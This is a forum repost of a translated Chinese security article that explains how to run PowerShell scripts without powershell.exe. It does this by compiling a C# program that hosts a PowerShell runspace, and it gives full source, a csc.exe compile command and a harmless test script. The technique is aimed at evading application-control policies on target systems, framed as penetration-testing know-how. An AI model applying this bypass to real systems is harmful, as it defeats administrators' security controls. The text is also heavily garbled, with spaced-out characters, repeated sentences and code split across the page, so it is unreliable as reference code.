搜索

[14901] 2019-12-05_如何绕过PowerShell访问限制并实现PowerShell代码执行

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-18
2019-12-05_如何绕过PowerShell访问限制并实现PowerShell代码执行 如 何 绕 过 P o w e r S h e l l 访 问 限 制 并 实 现 P o w e r S h e l l 代 码 执 行 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 1 2 - 0 5 如 果 你 是 一 名 专 业 的 渗 透 测 试 人 员 ， 那 你 可 能 真 的 离 不 开 如 果 你 是 一 名 专 业 的 渗 透 测 试 人 员 ， 那 你 可 能 真 的 离 不 开 P o w e r S h e l l ， 但 是 如 果 目 标 系 统 中 的 某 个 策 略 组 织 我 们 访 问 ， 但 是 如 果 目 标 系 统 中 的 某 个 策 略 组 织 我 们 访 问 P o w e r S h e l . e x e ， 那 我 们 该 ， 那 我 们 该 怎 么 办 呢 ？ 没 错 ， 这 个 问 题 经 常 会 困 扰 我 们 ， 而 且 网 上 也 有 很 多 的 应 对 方 法 。 怎 么 办 呢 ？ 没 错 ， 这 个 问 题 经 常 会 困 扰 我 们 ， 而 且 网 上 也 有 很 多 的 应 对 方 法 。 在 这 篇 文 章 中 ， 我 将 跟 大 家 介 绍 一 种 快 速 且 狡 猾 的 绕 过 技 术 ， 这 项 技 术 需 要 利 用 C # 编 译 代 码 来 执 行 我 们 的 P o w e r S h e l l 脚 本 。 首 先 ， 我 们 为 什 么 不 适 用 p o w e r s h e l l . e x e 来 执 行 我 们 的 . p s 1 脚 本 呢 ？ 因 为 P o w e r S h e l l 脚 本 跟 C # 一 样 ， 它 们 两 个 对 于 . N E T 框 架 而 言 ， 都 只 是 “ 前 端 ” 方 面 的 东 西 ， 它 们 的 本 质 都 只 是 一 种 编 程 语 言 。 不 过 在 C # 中 ， 我 们 需 要 对 程 序 代 码 进 行 编 译 才 可 以 使 用 和 执 行 ， 即 编 译 型 语 言 ， 这 是 它 和 P o w e r S h e l l 这 种 解 释 型 脚 本 语 言 有 很 大 区 别 。 鉴 于 P o w e r S h e l l . e x e 只 是 . N E T 程 序 集 “ s y s t e m . m a n a g e m e n t . a u t o m a t i o n ” 的 解 释 器 ， 因 此 它 应 该 可 以 在 C 程 序 中 与 这 个 对 象 进 行 交 互 并 执 行 . p s 1 脚 本 。 下 面 给 出 的 就 是 实 例 代 码 ： 下 面 给 出 的 就 是 实 例 代 码 ： u s i n g   S y s t e m . C o l l e c t i o n s . O b j e c t M o d e l ;   u s i n g   S y s t e m . M a n a g e m e n t . A u t o m a t i o n ;   u s i n g   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . R u n s p a c e s ;   u s i n g   S y s t e m . I O ; u s i n g   S y s t e m ; u s i n g   S y s t e m . T e x t ; n a m e s p a c e   P S L e s s {   c l a s s   P S L e s s   {       s t a t i c   v o i d   M a i n ( s t r i n g [ ]   a r g s )             {           i f ( a r g s . L e n g t h   = = 0 )                   E n v i r o n m e n t . E x i t ( 1 ) ;           s t r i n g   s c r i p t = L o a d S c r i p t ( a r g s [ 0 ] ) ;           s t r i n g   s = R u n S c r i p t ( s c r i p t ) ;           C o n s o l e . W r i t e L i n e ( s ) ;           C o n s o l e . R e a d K e y ( ) ;       }   p r i v a t e   s t a t i c   s t r i n g   L o a d S c r i p t ( s t r i n g   f i l e n a m e )           {         s t r i n g   b u f f e r   = " " ;       t r y   {         b u f f e r   =   F i l e . R e a d A l l T e x t ( f i l e n a m e ) ;         }       c a t c h   ( E x c e p t i o n   e )         {             C o n s o l e . W r i t e L i n e ( e . M e s s a g e ) ;           E n v i r o n m e n t . E x i t ( 2 ) ;         }     r e t u r n   b u f f e r ;
其 中 的 R u n S c r i p t ( ) 方 法 会 创 建 一 个 “ r u n s p a c e ” 对 象 ， 我 们 可 以 将 其 视 作 是 P o w e r S h e l l 运 行 时 的 一 个 独 立 实 例 。 接 下 来 ， 我 们 需 要 将 脚 本 添 加 到 新 创 建 的 p i p e l i n e 中 ， 并 对 通 信 信 道 进 行 排 序 ， 最 后 通 过 I n v o k e ( ) 方 法 执 行 我 们 的 脚 本 命 令 。 最 终 的 结 果 将 会 被 追 加 到 我 们 的 字 符 串 生 成 器 中 ， 然 后 作 为 字 符 串 发 回 给 调 用 函 数 ， 以 便 显 示 在 控 制 台 的 输 出 结 果 中 。 这 也 就 是 为 什 么 我 们 要 在 命 令 中 添 加 “ O u t - S t r i n g ” 的 原 因 。 怎 么 样 ， 整 个 过 程 很 简 单 吧 ？ 接 下 来 ， 我 们 需 要 对 代 码 进 行 编 译 并 完 成 代 码 测 试 。 请 记 住 ， 具 体 的 执 行 路 径 需 要 取 决 于 目 标 系 统 中 所 安 装 的 框 架 版 本 。 除 此 之 外 ， 别 忘 了 添 加 对 “ s y s t e m . m a n a g e m e n t . a u t o m a t i o n . d l l ” 程 序 集 的 引 用 。 如 果 一 切 正 常 的 话 ， 我 们 就 已 经 完 成 了 代 码 的 编 译 。 接 下 来 ， 创 建 一 个 简 单 地 测 试 脚 本 ： 然 后 运 行 该 脚 本 ： 然 后 运 行 该 脚 本 ： 没 错 ， 我 们 成 功 了 ！ 我 们 成 功 地 在 不 直 接 使 用 p o w e r s h e l l . e x e 的 情 况 下 调 用 并 执 行 了 我 们 的 脚 本 代 码 。 实 际 上 ， 这 是 一 个 非 常 简 单 的 脚 本 ， 如 果 加 上 用 户 输 入 等 处 理 机 制 的 话 ， 就 会 变 得 比 较 麻 烦 和 复 杂 了 ， 但 对 于 大 多 数 需 要 涉 及 到 P o w e r S h e l l 的 渗 透 活 动 来 说 ， 这 应 该 已 经 够 了 吧 。 当 然 了 ， 广 大 研 究 人 员 也 可 以 根 据 自 己 的 需 要 来 修 改 脚 本 代 码 ， 以 实 现 自 己 的 需 求 。 * 参 考 来 源 ： 参 考 来 源 ： d e c o d e r ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐     r e t u r n   b u f f e r ;   }   p r i v a t e   s t a t i c   s t r i n g   R u n S c r i p t ( s t r i n g   s c r i p t )           {           R u n s p a c e   M y R u n s p a c e   =   R u n s p a c e F a c t o r y . C r e a t e R u n s p a c e ( ) ;         M y R u n s p a c e . O p e n ( ) ;         P i p e l i n e   M y P i p e l i n e   =   M y R u n s p a c e . C r e a t e P i p e l i n e ( ) ;           M y P i p e l i n e . C o m m a n d s . A d d S c r i p t ( s c r i p t ) ;         M y P i p e l i n e . C o m m a n d s . A d d ( " O u t - S t r i n g " ) ;         C o l l e c t i o n < P S O b j e c t >   o u t p u t s   =   M y P i p e l i n e . I n v o k e ( ) ;         M y R u n s p a c e . C l o s e ( ) ;       S t r i n g B u i l d e r   s b   =   n e w   S t r i n g B u i l d e r ( ) ;         f o r e a c h   ( P S O b j e c t   p o b j e c t   i n   o u t p u t s )         {                 s b . A p p e n d L i n e ( p o b j e c t . T o S t r i n g ( ) ) ;         }         r e t u r n   s b . T o S t r i n g ( ) ;       }   } } C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 c s c . e x e / r e f e r e n c e : C : W i n d o w s M i c r o s o f t . N E T a s s e m b l y G A C _ M S I L S y s t e m . M a n a g e m e n t . A u t o m a t i o n v 4 . 0 _ 3 . 0 . 0 . 0 _ _ 3 1 b f 3 8 5 6 a d 3 6 4 e 3 5 s y s t e m . m a n a g e m e n t . a u t o m a t i o n . d l l   / o u t : c : s e t u p p o w e r l e s s . e x e   c : s c r i p t s p o w e r s l e s s . c s t e s t . p s 1 : e c h o   " H e l l o   f r o m   p o w e r s h e l l - l e s s " e c h o   " P I D :   $ p i d "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理